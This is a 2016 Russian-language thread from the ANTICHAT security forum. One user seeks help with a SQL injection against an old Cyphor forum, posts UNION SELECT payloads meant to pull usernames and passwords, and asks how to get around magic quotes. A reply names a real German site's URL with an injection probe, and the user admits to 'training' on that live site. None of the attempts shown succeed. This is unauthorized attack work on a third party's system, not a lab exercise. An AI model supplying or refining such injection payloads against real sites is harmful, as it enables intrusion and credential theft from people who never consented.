HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 03.01.2016, 23:14
anybeni
Guest
Сообщений: n/a
Провел на форуме:
905

Репутация: 0
По умолчанию

Пробовал вот эту sql инъекцию: cxsecurity.com/issue/WLB-2005110041 на форуме Cyphor версии: 0.19

Выдает сообщение "MySQL Error: Invalid SQL: SELECT * FROM cyphor_ WHERE id=-10 union select id,null,null,null,null,nick,password,null,null,nul l from users where id=1

Database error: 1064 (You have an error in your SQL syntax near 'union select id,null,null,null,null,nick,password,null,null,nul l from users wher' at line 1)

Please contact us [info@сайт.org] and specify the exact error message.

Session halted.

Это из-за того, что фильтруются слова select и union? Замена их на шестнадцатеричные значения дала тот же результат.

Подскажите из-за чего может вылетать это сообщение?
 
Ответить с цитированием

  #2  
Старый 04.01.2016, 23:41
anybeni
Guest
Сообщений: n/a
Провел на форуме:
905

Репутация: 0
По умолчанию

Запросы с кавычкой не прокатывают, потому что экранируются слешем.

Например пишу: http://www.site.com/forum/cyphor/show.php?fid=4' SELECT * FROM cyphor_forums WHERE '1'='1'/*

И получаю: Database error: 1064 (You have an error in your SQL syntax near '\' SELECT * FROM cyphor_forums WHERE \'1\'=\'1\'/*' at line 1)

Замена кавычки на %27 или 0х27 или всего запроса на hex выдает ту же ошибку.

Можно ли как-то обойти магические кавычки?

п.с.: в гугле был.

п.п.с.: попробовал еще конвертировать строку ' SELECT * FROM cyphor_forums WHERE id=4 в hex. Получилось

Код:
Code:
http://www.site.com/forum/cyphor/show.php?fid=4+char(0x272053454c454354202a2046524f4d20637970686f725f666f72756d732057484552452069643d34)+--
но сайт отозвался той же ошибкой
 
Ответить с цитированием

  #3  
Старый 05.01.2016, 01:21
AlexG
Guest
Сообщений: n/a
Провел на форуме:
11344

Репутация: 5
По умолчанию

http://www.cantus.de/forum/cyphor/show.php?fid=4 order by 4

Цитата:
Сообщение от anybeni  
anybeni said:

Запросы с кавычкой не прокатывают, потому что экранируются слешем.
Например пишу:
http://www.site.com/forum/cyphor/show.php?fid=4
' SELECT * FROM cyphor_forums WHERE '1'='1'/*
И получаю:
Database error
: 1064 (You have an error in your SQL syntax near '\' SELECT * FROM cyphor_forums WHERE \'1\'=\'1\'/*' at line 1)
Замена кавычки на %27 или 0х27 или всего запроса на hex выдает ту же ошибку.
Можно ли как-то обойти магические кавычки?
п.с.: в гугле был.
п.п.с.: попробовал еще конвертировать строку
' SELECT * FROM cyphor_forums WHERE id=4
в hex. Получилось
Код:
Code:
http://www.site.com/forum/cyphor/show.php?fid=4+char(0x272053454c454354202a2046524f4d20637970686f725f666f72756d732057484552452069643d34)+--
но сайт отозвался той же ошибкой
Т.к. уязвимость аж 2005 года - то скорее всего она везде так или иначе прикрыта. Как например на одном немецком сайте, на котором, как я подозреваю, вы тренируетесь
 
Ответить с цитированием

  #4  
Старый 05.01.2016, 15:03
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

при чем тут конвертирование в хекс или урленкод? стоит лучше разобраться в вопросе. ошибка из-за того, что запрос некорректен, и находится он в int параметре, где кавычки вам и не нужны. уверены, что подобрали верное количество полей? версия mysql какая?
 
Ответить с цитированием

  #5  
Старый 05.01.2016, 21:50
anybeni
Guest
Сообщений: n/a
Провел на форуме:
905

Репутация: 0
По умолчанию

AlexG, да, я на этом сайте тренируюсь)

yarbabin, я пробовал с кавычками и без кавычек и без WHERE.

В ответ на запросы в которых были команды union, select, from, show или +--+ сайт возвращал все ту же ошибку синтаксиса.

В ответ на or concat(version()) или or concat_ws(0x3a,version()) открывается обычная страница и ничего похожего на версию. При этом в конце строки были символы комментария /* или # Если параметру fid присвоить не существующее значение, то открывается урезанная версия страницы.

Инъекция через поля логин/пароль и поиск не удалась, тоже все фильтруется.

Видимо мне этот сайт не по зубам.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ